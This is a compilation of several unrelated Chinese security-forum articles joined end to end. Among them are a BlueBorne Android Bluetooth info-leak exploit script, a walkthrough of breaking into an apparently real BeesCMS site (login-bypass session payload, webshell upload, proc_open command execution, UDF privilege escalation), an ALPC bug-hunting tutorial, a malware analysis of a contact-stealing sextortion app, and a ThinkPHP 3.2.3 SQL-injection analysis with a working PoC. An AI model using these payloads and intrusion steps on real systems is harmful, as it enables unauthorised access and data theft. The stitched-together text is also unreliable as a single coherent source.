sock.connect((target, 1))
sock.send(packet_leak(service_long, '\x00'))
data = sock.recv(mtu)
if data[-3] != '\x02':
log.error('Invalid continuation state received.')
stack = ''
for i in range(1, n):
sock.send(packet_leak(service_short, data[-3:]))
data = sock.recv(mtu)
stack += data[9:-3]
sock.close()
pthread_start_func = int(stack[0x0184:0x0188].encode('hex'),16)
libc_base = pthread_start_func - pthread_start_off
print "libc.so base address is %s" % hex(libc_base)
sdp_conn_timer_timeout_func = int(stack[0x0170:0x0174].encode('hex'),16)
bluetooth_base_addr = sdp_conn_timer_timeout_func - sdp_conn_timer_timeout_off - 1
print "bluetooth.default.so base address is %s" % hex(bluetooth_base_addr)
return (libc_base, bluetooth_base_addr)
if __name__ == "__main__":
if len(sys.argv) < 2:
print 'No argvs specified.'
sys.exit()
target = sys.argv[1]
info_leak(target)
该脚本主要利用的是泄露的libc.so中`pthread_start`函数地址找到libc.so的加载基址，利用泄露的`sdp_conn_timer_timeout`函数地址找到bluetooth.default.so加载基址。需要说明的是，不同机型及系统还是要根据泄露的内容及具体的偏移量修改脚本才行，需要做适配。
运行结果如下所示：
## 0x03 关于armis exploit的大致分析
armis官方给出的exploit主要有两个步骤，第一步是注入payload，第二步则是通过堆溢出去覆盖堆上的某些数据结构的函数指针，从而劫持进程执行。前面我们已经介绍了armis
exploit注入payload的方法，现在我们主要介绍下他们劫持进程的思路。我们知道通过
CVE-2017-0781的堆溢出可以去覆盖堆上任意结构体的前8个字节，而armis选择了直接溢出只有8个字节大小的`list_node_t`结构体，其定义如下：
该结构体的第二个成员是个void型指针，可以根据用途转化为其他类型的指针，而恰好在
`btu_hci_msg_process`函数中会将`list_node_t`结构体的data成员强制转化为`post_to_task_hack_t`结构体类型，如下所示：
而`post_to_task_hack_t`则包含的是一个函数指针：
因此，armis的exploit通过溢出`list_node_t`结构体可以直接控制堆上的函数指针，从而达到劫持进程执行的目的。`list_node_t`结构体到`p_msg`参数的转换则是在`btu_hci_msg_ready`函数中进行的，如下所示：
`fixed_queue_dequeue`函数从队列中出队一个`list_node_t`结构体，然后转换为`p_msg`参数传递到`btu_hci_msg_process`函数进行处理。因此，只要能够控制堆上的`list_node_t`结构体，就能够在`btu_hci_msg_process`函数执行时劫持进程。armis的exploit也是通过大量堆喷去实现覆盖`list_node_t`结构体。
armis的exploit运行结果如下所示：
反弹shell如下：
armis的exploit在基址和偏移量准确的情况下，成功利用的概率很高，而且十分稳定。
## 0x04 总结
本文介绍了针对CVE-2017-0781的exploit优化思路及过程，提高了稳定性及成功率。我们也尝试了在release版本的手机上进行测试，目前暂时只在nexus
6p +
google工厂镜像上测试成功，在其他机型上暂未成功。由于不同oem厂商对系统均有所改动，且release版本手机不好调试及找寻找符号偏移量，所以适配工作还是有一定难度，大规模通杀的exploit更是难上加难。
## 参考文献：
[1] [https://github.com/ArmisSecurity/blueborne]() | 社区文章 |
摘要：这是一次挖掘cms通用漏洞时发现的网站，技术含量虽然不是很高，但是也拿出来和大家分享一下吧，希望能给一部分人带来收获。
* * *
### 0x01 进入后台
在通过googlehack语法挖掘beescms时发现了这个站点
利用网上的payload，在/mx_form/mx_form.php?id=12页面使用hackbarPOST以下数据
_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=100000000000000000000000000000000000
然后访问/admin便可以直接进入后台
### 0x02 拿shell
进入后台后在‘添加产品模块’处寻找到了上传点
尝试上马，但提示‘上传图片格式不正确’，于是上传图片马抓包，在repeater里更改后缀为php，然后go
根据回显没有看出是否上传成功，但也没说失败。经过寻找在‘上传图片管理’处找到
点击图片发现解析了，直接菜刀连接，拿到shell
### 0x03 绕过安全模式
拿到shell后进入终端查看权限，但却发现执行命令失败，可能远程启用了安全模式
经过在网上一番查找得出：要找到未禁用的php执行函数。先上传了一个查看phpinfo的脚本，找到已禁用的函数
发现proc_open函数未被禁用，于是找到如下php脚本
<?php
$descriptorspec=array( //这个索引数组用力指定要用proc_open创建的子进程的描述符
0=>array('pipe','r'), //STDIN
1=>array('pipe','w'),//STDOUT
2=>array('pipe','w') //STDERROR
);
$handle=proc_open('whoami',$descriptorspec,$pipes,NULL);
//$pipes中保存的是子进程创建的管道对应到 PHP 这一端的文件指针($descriptorspec指定的)
if(!is_resource($handle)){
die('proc_open failed');
}
//fwrite($pipes[0],'ipconfig');
print('stdout:<br/>');
while($s=fgets($pipes[1])){
print_r($s);
}
print('===========<br/>stderr:<br/>');
while($s=fgets($pipes[2])){
print_r($s);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($handle);
?>
上传后可以执行命令，成功绕过安全模式
### 0x04 提权
上图可以看出只是iis权限，能做的事很局限，所以要想办法提权。
菜刀中虽然不能执行命令，但是可以查看文件，于是找到了数据库配置文件
发现是mysql的数据库，想到udf提权，于是上传udf提权脚本（附件中）
登录后导出udf便可以执行命令了
提权成功，但是不可以添加用户，也不能开3389。
* * *
结语：希望路过的各位大佬可以指点迷津，也欢迎各位来找我交流探讨，感谢阅读。
参考链接：
<https://www.cnblogs.com/R4v3n/articles/9081202.html> php限制命令执行绕过 | 社区文章 |
# [译]逆向ALPC：如何发现Windows bugs和Sandbox escape?
## 介绍
当我还不是一个研究Windows的安全专家的时候，我通常挖掘漏洞的方法是：
1. 在YouTube上查找和观看有趣的攻击面。
2. 在找到感兴趣的主题后，我会尽可能地通过google去搜索有关该主题的所有内容。
3. 分析和学习最低限度的知识，开始实验性地进行尝试。
写这篇文章的目的是为了讲述我发现漏洞的过程，而不是对任何特定知识的讲解。
如果您发现任何错误或需要更正的地方，请随时与我联系。另外，这是我的个人爱好，我并不是一个专业的安全研究员。
首先我要说的是：如何发现Windows bugs和Sandbox escape呢?
自从我看了Ben Nagy录制的视频:[Windows Kernel Fuzzing for Intermediate
Learners](https://www.youtube.com/watch?v=wnNyPcerjJo)之后，我就对ALPC(Advanced
Local Procedure Call)非常感兴趣。
在看了Clement Rouault和Thomas Imbert在hack.lu 2017上的议题：[Hack.lu 2017 A view into
ALPC-RPC by Clement Rouault and Thomas
Imbert](https://www.youtube.com/watch?v=D-F5RxZ_yXc)之后，我成功的拼凑起了足够的知识。
在此之前，通过hook NtAlpcSendWaitReceivePort，我做了一些尝试，但是没有什么收获。
我完成我上面提到的第三步的方式是很简单的：我试着重复我能想到的一切，并在不过度依赖技术的情况下提出问题。
Q：ALPC到底是怎么回事？
A：Advanced Local Procedure
Call——一种Windows内部机制，允许在OS内运行的client进程向在同一OS中运行的server进程发起请求，要求server进程提供某些信息或执行某些操作。
Q：我们可以通过 **进程间通信** 来进行攻击吗？
A：可以，如果可以在低权限和高权限进程直接进行通信，这意味着我们从一个已经被攻击者控制的空间里，影响“其他的某些东西”。
Q：什么类型的通信将使用ALPC？
A：Local RPC将使用ALPC！Local RPC(Remote Procedure
Call)，它基本调用其他进程公开的函数，但由于某些原因，所有东西都需要有一个奇特的名字！我相信还有其他类型的通信使用ALPC，但是让我们关注RPC，因为资料丰富。
Q：我能在哪里找到这些基于ALPC的"Remote Procedure calls"?
A：看看上面我提到的RPC over ALPC视频，我们能使用RpcView！
我们需要做的就是选择一个interface（interface是我们可以使用RPC调用的一组函数）
并创建一个IDL（IDL提供了一个关于我们如何调用函数以及函数使用什么参数的模板，因此我们可以不需要逆向所有的东西。）
这是一个奇怪的COM-thingy，他们想要一些中间语言来在编程语言之间移植东西，但它基本上失败了，并没有成为新的行业标准。只有微软现在使用它！
Q：我们在rpcview中找到了所有信息并为interface创建了一个IDL，现在要做什么？
A： 我们可以将它复制粘贴到James Forshaw的PoC中，让它开始工作！哇噢！
## Step-by-step
下载RpcView: <https://ci.appveyor.com/project/silverf0x/rpcview/build/artifacts>
在RpcView中设置符号
首先打开WinDbg并运行以下命令（下载Windows SDK for WinDbg）：
`symchk /s srv*c:\symbols*https://msdl.microsoft.com/download/symbols
c:\windows\system32\*.dll`
注意：这将花费很长时间！
之后在RpcView中选择Options > Configure Symbols
### Step 1: 发现要逆向的interface
以管理员身份打开RpcView：默认情况下，它将列出所有的interface，选择系统进程。
寻找一个看上去很有趣的interface，如果单击某个interface，可以看到它所支持的功能，如果设置了符号，则可以看到里面的函数名称！我通常根据函数名称来决定是否深入研究。
### Step 2: 在Forshaw PoC中编译IDL
首先，您要确保要逆向的的interface以SYSTEM权限运行，这可以在RpcView中看到。
确保epmapper已注册（interface将显示为绿色），否则会出现一些错误（如果有人知道如何调用未注册的interface，请告诉我）
出于教程的目的，我们将逆向background tasks infrastructure service（具有17个进程的服务）。
右键单击interface并按反编译，则会生成IDL。
复制粘贴在反编译窗口的文本，并打开以下的PoC ：
<https://github.com/SandboxEscaper/blogstuff/blob/master/templ.rar>
这是基于Forshaw所写的PoC编写。
用我们从RpcView里复制的IDL覆盖rpc.idl
第一次尝试从background tasks infrastructure service构建IDL失败了：
它无法为函数5创建原型。因此，我们只是将其注释掉并尝试再次构建。如果我们真的想了解更多有关此函数的信息，我们可以稍后通过IDA逆向，并自行修复。
这次我们得到了不同的错误。这次似乎是Struct_28_t没有定义
RpcView创建的IDLs时常有很多问题并且需要做很多修复。让我们只定义一个标准的结构体，我们需要后面再去逆向和修复它。现在，我们只需要避免有函数使用这个结构体。
### Step 3:打开IDA，并寻找有趣的method
在RpcView中，我们可以看到我们的interface位于bisrv.dll中
让我们在IDA和RpcView中打开DLL，让我们寻找一个我们应该进一步检查的method！
我们来看看RBiSrvResetActiveUserForPackage吧！
如果我们在我们的解决方案中查看rpc.idl，我们看到它只是将wchar_t作为参数，这意味着在没有大量逆向的情况下调用它很容易！
我们可以在IDA中轻松找到这个函数！
此时，您可以在IDA中的快速浏览一下这个函数，以确定是否值得进一步分析。
出于教程的目的，让我们看看如何调用此函数，点击此代码！
我们在runexploit()中将函数添加到我们的代码中; 在ALPC-TaskSched-LPE.cpp中 （我懒得更改名称）。
第一个参数是一个context handle或其他的什么，我不知道这是做什么，但是你必须把它放在那里。
之后我们要确定wchar_t参数是什么，你需要在IDA中逆向这个函数以找出它应该是什么。
一种快速的方法是在那里dump文件路径，并在procmon检查，以查看是否有任何文件系统事件发生！（ A quick way is to dump a
file path there and check in procmon to see if any file system stuff happens!）
现在我们只需要复制粘贴我们interface的UUID，这样我们就知道连接到哪个interface。你可以在rpc.idl的顶部找到它。
复制粘贴到这里：
接下来编译并运行它！好极了！您现在正在system进程中触发remote function！
Step 4：逆向methods
找到bug的最快方法是调用methods，并在procmon中查看它们，寻找非预期的createfile调用，这些通常是很有趣的。
我们也可以进行动态调试，因为我们经常需要某些特定参数才能触发正确的代码路径。
每个ALPC接口都在一个进程中运行，您可以在RpcView中找到PID：
只需将调试器attach到此PID，并在使用PoC调用的methods下断点。之后，您可以单步调试代码。
如果你看到它没有通过某些检查，你将不得不弄清楚原因，并相应地调整参数，这样你就可以执行到你想要触发的代码。
## 结论
除了junction/hard link滥用（参见task scheduler and delete bug）之外。
逆向函数，找出它们的作用，并查看它是否可能以非预期的方式被滥用将会很有趣。
我想证明你不需要有很多技术上的能力来发现bug，只需要长期去做。
## Credits和参考
我不是很擅长逆向，所以我很高兴其他人已经做好了！
* Ben Nagy: Windows Kernel Fuzzing for Intermediate Learners: COSEINC [0] <https://www.youtube.com/watch?v=wnNyPcerjJo>
* Clement Rouault/Thomas Imbert: Hack.lu 2017: A view into ALPC-RPC [1]
<https://www.youtube.com/watch?v=D-F5RxZ_yXc>
* James Forshaw:
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1428>
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1427>
## 原文
* 原文地址
<https://sandboxescaper.blogspot.com/2018/10/reversing-alpc-where-are-your-windows.html>
* 作者
[SandboxEscaper](https://twitter.com/SandboxEscaper) | 社区文章 |
# “裸聊APP”背后的秘密
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1\. 概述
书接上文“[我被“裸聊APP”诈骗了](https://www.anquanke.com/post/id/204266)”，近几天又不断收到网友的求助，不过明显网友比之前聪明不少，不是一味的打钱，而是通过网络寻求帮助。钱虽然没损失多少，但是自己信息还在诈骗团伙那边存着，自己心里还是没底，希望能够得到帮助。
针对这种窃取短信、通讯录的APP，即使没有其他恶意行为，我们也要严厉打击，对于用户来说手机上最隐私的东西莫过于短信和通讯录，这也是诈骗团伙最想拿到的数据，诈骗团伙可以通过这些数据做人物关联，方便撰写诈骗术语，容易取得被诈骗者的信任。
图1 裸聊诈骗实施流程
## 2\. 样本分析
### **2.1样本基本信息**
**APP名称** | | 荔枝 |
---|---|---|---
**应用包名** | | com.y1lizhi50050.qrf |
**文件MD5** | | 4A9635D9C2D94968E6795FBF161ADD46 |
**签名信息** | | CN=(t1y1*****505050),OU=(y1*****50050@qq.com),
O=(11*****50@qq.com), L=(Beijing), ST=(Beijing), C=(zh) |
**签名MD5** | | 41396268D7B1374B98B494077F1AF567 |
**下载链接** | | https://ww.l*****s.com/ic***9g |
**图标** | | |
### **2.2代码行为分析**
该程序启动后需要用户输入授权码和自己手机号，授权码一般是邀请用户裸聊的诈骗团伙人员提供给用户的，主要是为了检索对应用户的信息，手机号同样也是为了定位是哪一个用户。程序通过所谓的聊天、诱惑等功能诱导用户注册登录，在用户注册后程序会获取用户的短信、通讯录信息上传到指定服务器，接下来就是诈骗团伙拿到用户信息以此来诈骗用户。
**2.2.1APP运行行为**
APP运行后需要用户输入授权码和自己手机号，授权码一般是邀请用户裸聊的诈骗团伙人员提供给用户的，主要是为了检索对应用户的信息，手机号同样也是为了定位是哪一个用户，用户输入信息后，APP一直处于加载状态。
图2 恶意软件运行界面
**2.2.2获取通讯录信息**
用户输入授权码和手机号后，程序后台私自获取用户通讯录联系人上传到指定服务器。
服务器地址：http://l***.e-***.cn/api.php?service=contacts.create
图3 获取通讯录信息
图4 上传通讯录数据包
**2.2.3 获取短信息**
程序后台私自获取用户短信息上传到指定服务器。
服务器地址：http://l***.e-***.cn/api.php?service=sms.import。
图5 获取短信息
**2.2.4其他用户信息**
在分析该程序时安全人员还发现该程序是通过某平台直接打包的应用，并发现该程序嵌入了平台的SDK，该SDK存在私自上传用户手机号、应用程序列表以及大量固件信息等到平台服务器。
嵌入平台SDK程序框架：
图6 嵌入平台SDK程序框架
该平台打包的应用启动后直接会启动子包相关组件：
直接启动SDK相关组件：
图7 启动平台SDK相关组件
拼接固件信息上传：
图8 拼接固件信息上传
图9 上传启动报告数据包
具体上传用户信息的服务器地址：
图10 上传用户信息的服务器地址
上传启动报告后，会继续上传用户手机号、IP地址、MAC地址、固件信息以及应用程序列表：
拼接用户信息：
图11 拼接用户信息
上传用户信息到指定服务器：
图12 上传用户信息到指定服务器
图13 上传用户信息数据包
在全景态势感知平台配置该平台打包应用特征，发现有三万多款应用，可见该平台使用者较多，获取信息不计其数。
图14 全景态势感知平台关联分析
## 3.情报挖掘溯源
图15 溯源信息脑图
基于该程序上传用户信息服务器地址：http://l***.e-***.cn/api.php进行情报线索的扩展，通过域名whois查询，可以发现该域名联系人相关信息：
联系人：温**
邮箱：21*****28@qq.com
图16 域名whois查询
邮箱反查：
图17 邮箱反查
查询以上域名的子域名，其中ce****89.cn下的q***.c****89.cn存在一个后台服务器地址：http://q***.c****89.cn/admin/login.html
图18 c****89.cn子域名
通过查询l***.e-***.cn域名对应IP地址，得到另外两个相关联的域名：c.li******ve.cc、6**.a******ec.com，域名对应都存在一个后台服务器：
http://c.li******ve.cc/admin/login.html
http://a******ec.com/admin/login.html
图19 IP地址关联域名
安全人员发现四个后台地址的主要功能完全一致，主要储存获取的用户信息：
图20 后台服务器
通过溯源新发现的服务器后台，具有群发视频的功能，可以通过授权码找到对应的受害者，之后群发短信。
图21 后台服务器群发短信
## 总结
诈骗团伙使用的诈骗手段不断升级，从利用仿冒应用进行电信诈骗，到利用木马程序盗取用户通讯录信息，同时配合裸聊进行敲诈无不与金钱息息相关。用户应在提升自身防护意识的同时做好自身，不轻信他人，坚决抵制不良诱惑。让网络诈骗从无孔不入到无孔可入。
同时开发者应该严把开发关卡，保证自己开发的应用不存在超采风险，不要随意嵌入未知的SDK，即使使用也希望能在用户隐私协议中申明相关SDK具体用途以及要获取的用户信息，让用户心里有数。 | 社区文章 |
# 1月15日安全热点 - Powershell6日志分析/Mirai Okiri出现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Mirai Okiri——首个以ARC为目标的恶意软件
<http://securityaffairs.co/wordpress/67742/malware/mirai-okiru-botnet.html>
BlackWallet的DNS服务器被黑，超过400000美元被窃取
<https://www.bleepingcomputer.com/news/security/hackers-hijack-dns-server-of-blackwallet-to-steal-400-000/>
当年好莱坞裸照门事件的第四名嫌疑黑客被FBI抓获
<https://www.bleepingcomputer.com/news/security/fourth-fappening-hacker-caught-by-the-fbi/>
Blackhat亚洲区日程公布，开源智能成为主题
<https://www.blackhat.com/asia-18/training/schedule/index.html#offensive-open-source-intelligence-9165>
## 技术类
PowerShell 6的日志记录分析
<http://www.labofapenetrationtester.com/2018/01/powershell6.html>
浏览器？新一代僵尸网络？浏览器的未来战争
<https://medium.com/@brannondorsey/browser-as-botnet-or-the-coming-war-on-your-web-browser-be920c4f718>
Wii U解剖与分析
<http://hexkyz.blogspot.com/2018/01/anatomy-of-wii-u-end.html>
n3ph4ck Writeup
<https://medium.com/@m4f1a/ctf-challenge-n3ph4ck-writeup-b355f512977b>
Oneplus结账出现漏洞？讨论支付中的风险
<https://www.fidusinfosec.com/oneplus-checkout-hacked-the-dangers-of-on-site-processing/>
DVAR——路由漏洞靶场
[http://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html?](http://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html?m=1)
备用数据流与执行的讨论分析
<https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/>
RDP劫持——RDS劫持与RemoteApp会话
<https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6>
BetterCap NG版推出，目前仍在测试改进
<https://github.com/evilsocket/bettercap-ng>
懒人福音——渗透测试单行化
<https://github.com/D4Vinci/One-Lin3r>
绕过安卓SSL验证证书的四种方式
<https://blog.netspi.com/four-ways-bypass-android-ssl-verification-certificate-pinning/>
印度Aadhaar与黑客的真正联系？目前安全态势需要仔细评估
<https://www.troyhunt.com/is-indias-aadhaar-system-really-hack-proof-assessing-a-publicly-observable-security-posture/>
证书日志的可验证轻量级监控
<https://arxiv.org/pdf/1711.03952.pdf> | 社区文章 |
# Thinkphp3.2.3最新版update注入漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**作者 ：0r3ak[@0kee](https://github.com/0kee "@0kee") Team**
## 简要描述
thinkphp是国内著名的php开发框架，有完善的开发文档，基于MVC架构，其中Thinkphp3.2.3是目前使用最广泛的thinkphp版本，虽然已经停止新功能的开发，但是普及度高于新出的thinkphp5系列，由于框架实现安全数据库过程中在update更新数据的过程中存在SQL语句的拼接，并且当传入数组未过滤时导致出现了SQL注入。
## Git补丁更新
新增加了BIND表达式
## 漏洞详情
这个问题很早之前就注意到了，只是一直没找到更常规的写法去导致注入的产生，在挖掘框架漏洞的标准是在使用官方的标准开发方式的前提下也会产生可以用的漏洞，这样才算框架级漏洞，跟普通的业务代码漏洞是有严格界线的。
thinkphp系列框架过滤表达式注入多半采用I函数去调用think_filter
function think_filter(&$value){
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value))
有没有相关tips来达到I函数绕过呢？是可以的。
<http://document.thinkphp.cn/manual_3_2.html#update_data>
一般按照官方的写法，thinkphp提供了数据库链式操作，其中包含连贯操作和curd操作，在进行数据库CURD操作去更新数据的时候：
举例update数据操作。
where制定主键的数值，save方法去更新变量传进来的参数到数据库的指定位置。
public function where($where,$parse=null){
if(!is_null($parse) && is_string($where)) {
if(!is_array($parse)) {
$parse = func_get_args();
array_shift($parse);
}
$parse = array_map(array($this->db,'escapeString'),$parse);
$where = vsprintf($where,$parse);
}elseif(is_object($where)){
$where = get_object_vars($where);
}
if(is_string($where) && '' != $where){
$map = array();
$map['_string'] = $where;
$where = $map;
}
if(isset($this->options['where'])){
$this->options['where'] = array_merge($this->options['where'],$where);
}else{
$this->options['where'] = $where;
}
return $this;
}
通过where方法获取where()链式中进来的参数值，并对参数进行检查，是否为字符串，tp框架默认是对字符串进行过滤的
public function save($data='',$options=array()) {
if(empty($data)) {
// 没有传递数据，获取当前数据对象的值
if(!empty($this->data)) {
$data = $this->data;
// 重置数据
$this->data = array();
}else{
$this->error = L('_DATA_TYPE_INVALID_');
return false;
}
}
// 数据处理
$data = $this->_facade($data);
if(empty($data)){
// 没有数据则不执行
$this->error = L('_DATA_TYPE_INVALID_');
return false;
}
// 分析表达式
$options = $this->_parseOptions($options);
$pk = $this->getPk();
if(!isset($options['where']) ) {
// 如果存在主键数据 则自动作为更新条件
if (is_string($pk) && isset($data[$pk])) {
$where[$pk] = $data[$pk];
unset($data[$pk]);
} elseif (is_array($pk)) {
// 增加复合主键支持
foreach ($pk as $field) {
if(isset($data[$field])) {
$where[$field] = $data[$field];
} else {
// 如果缺少复合主键数据则不执行
$this->error = L('_OPERATION_WRONG_');
return false;
}
unset($data[$field]);
}
}
if(!isset($where)){
// 如果没有任何更新条件则不执行
$this->error = L('_OPERATION_WRONG_');
return false;
}else{
$options['where'] = $where;
}
}
if(is_array($options['where']) && isset($options['where'][$pk])){
$pkValue = $options['where'][$pk];
}
if(false === $this->_before_update($data,$options)) {
return false;
}
$result = $this->db->update($data,$options);
if(false !== $result && is_numeric($result)) {
if(isset($pkValue)) $data[$pk] = $pkValue;
$this->_after_update($data,$options);
}
return $result;
}
再来到save方法，通过前面的数据处理解析服务端数据库中的数据字段信息，字段数据类型，再到_parseOptions表达式分析，获取到表名，数据表别名，记录操作的模型名称，再去调用回调函数进入update
我们这里先直接看框架的where子单元函数，之前网上公开的exp表达式注入就是从这里分析出来的结论：
Thinkphp/Library/Think/Db/Driver.class.php
// where子单元分析
protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);
if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找
if(is_array($val[1])) {
$likeLogic = isset($val[2])?strtoupper($val[2]):'OR';
if(in_array($likeLogic,array('AND','OR','XOR'))){
$like = array();
foreach ($val[1] as $item){
$like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
}
$whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';
}
}else{
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}
}elseif('bind' == $exp ){ // 使用表达式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1];
}elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
}else{
if(is_string($val[1])) {
$val[1] = explode(',',$val[1]);
}
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
}
}elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算
$data = is_string($val[1])? explode(',',$val[1]):$val[1];
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
}else{
E(L('_EXPRESS_ERROR_').':'.$val[0]);
}
}else {
$count = count($val);
$rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ;
if(in_array($rule,array('AND','OR','XOR'))) {
$count = $count -1;
}else{
$rule = 'AND';
}
for($i=0;$i<$count;$i++) {
$data = is_array($val[$i])?$val[$i][1]:$val[$i];
if('exp'==strtolower($val[$i][0])) {
$whereStr .= $key.' '.$data.' '.$rule.' ';
}else{
$whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
}
}
$whereStr = '( '.substr($whereStr,0,-4).' )';
}
}else {
//对字符串类型字段采用模糊匹配
$likeFields = $this->config['db_like_fields'];
if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {
$whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
}else {
$whereStr .= $key.' = '.$this->parseValue($val);
}
}
return $whereStr;
}
其中除了exp能利用外还有一处bind，而bind可以完美避开了think_filter：
elseif('bind' == $exp ){ // 使用表达式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1];
这里由于拼接了$val参数的形式造成了注入，但是这里的bind表达式会引入:符号参数绑定的形式去拼接数据，通过白盒对几处CURD操作函数进行分析定位到update函数，insert函数会造成sql注入，于是回到上面的updateh函数。
Thinkphp/Library/Think/Db/Driver.class.php
/**
* 更新记录
* @access public
* @param mixed $data 数据
* @param array $options 表达式
* @return false | integer
*/
public function update($data,$options) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'UPDATE ' . $table . $this->parseSet($data);
if(strpos($table,',')){// 多表更新支持JOIN操作
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
// 单表更新支持order和lmit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}
跟进execute函数：
public function execute($str,$fetchSql=false) {
$this->initConnect(true);
if ( !$this->_linkID ) return false;
$this->queryStr = $str;
if(!empty($this->bind)){
$that = $this;
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind));
}
if($fetchSql){
return $this->queryStr;
}
这里有处对$this->queryStr进行字符替换的操作：
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind));
具体是什么，我这里写了一个实例：
常规的跟新数据库用户信息的操作：
Application/Home/Controller/UserController.class.php
<?php
namespace HomeController;
use ThinkController;
class UserController extends Controller {
public function index(){
$User = M("member");
$user['id'] = I('id');
$data['money'] = I('money');
$data['user'] = I('user');
$valu = $User->where($user)->save($data);
var_dump($valu);
}
}
根据进来的id更新用户的名字和钱，构造一个简单一个poc
id[]=bind&id[]=1’&money[]=1123&user=liao
当走到execute函数时sql语句为：
UPDATE `member` SET `user`=:0 WHERE `id` = :1'
然后$that = $this
然后下面的替换操作是将”:0”替换为外部传进来的字符串，这里就可控了。
替换后：
明显发现之前的`user`参数为:0然后被替换为了liao，这样就把:替换掉了。
后面的:1明显是替换不掉的：
那么我们将id[1]数组的参数变为0呢？
id[]=bind&id[]=0%27&money[]=1123&user=liao
果然造成了注入：
POC:
money[]=1123&user=liao&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))
## 修复方式
更新最新补丁
补丁地址：<https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4> | 社区文章 |
### 0x00 背景
文章记录了分析shiro反序列化漏洞的思路和过程，漏洞用的次数挺多，感觉不认真走一遍分析还是缺点什么。排版也是按照我所理解的分析1day的思路进行排版的，emm~
不太专业哈 见谅 ┭┮﹏┭┮
友情提示：文章写的感觉比较亲民，理论上有一些其他语言的基础都可以阅读，比较倾向于将东西写的详细(废话很多)，就是那种看帖按着步骤走跟着思考大概自行理解的程度（记性不好，不写可能会忘的）
### 0x01 梦开始的地方
一切都要从官方shiro的某个人提出的问题描述开始说起 ~ 下图为谷歌翻译结果
url: <https://issues.apache.org/jira/browse/SHIRO-550>
通过描述可知：
* 1. shiro <= 1.2.4 存在反序列化漏洞
* 1. shiro的CookieRememberMeManager类里对漏洞参数rememberMe进行序列化，加密等操作，我理解成这个类和这个漏洞有关系，可以当成入口点
* 1. shiro对每次访问都会用到"记住我"的功能进行以下操作：
2. 检索`rememberMe` cookie的值 //cookie中是否有这个参数
3. Base 64解码 //对参数的值进行解码
4. 使用AES解密 //对参数的值再进行解密
5. 使用Java序列化（`ObjectInputStream`）反序列化。 //对解出的参数的值进行反序列化
* 1. 源代码存在默认的AES加密密钥，所有能够查看源代码的人都可以知道默认密钥是什么
以此确定一个需要通过Debug代码来达成的大概目的：
* 通过`控制rememberMe参数的值`传输`加密`好的`恶意序列化payload`，成功让shiro进行解密到反序列化的步骤就可以达到执行命令的目的
* 1. **如何控制rememberMe参数的值**
* 1. **如何对payload进行加密**
* 1. **根据加密方法对生成恶意序列化payload进行加密构造利用工具**
### 0x02 科普时间
* AES加密算法：属于对称加密算法，意思就是加密和解密用相同的密钥
* 加密过程：
明文 --> AES加密函数 + 密钥位数(128/192.256) + iv(初始化向量) + 密钥(key) + 模式(CBC和GCM等) +
padding(填充方式)--> 密文
* IDEA的Debug按钮功能：
Step Over : 单步执行,遇到方法直接获得返回值而不会进入
Step Into : 单步执行,遇到方法会进入方法，不会进入jdk实现的方法中
Force Step Into : 可以进入任何的方法，比如jdk,jar包
Step Out : 在方法内会直接获得返回值跳出该方法
Run To Cursor : 让程序运行到鼠标所在的位置
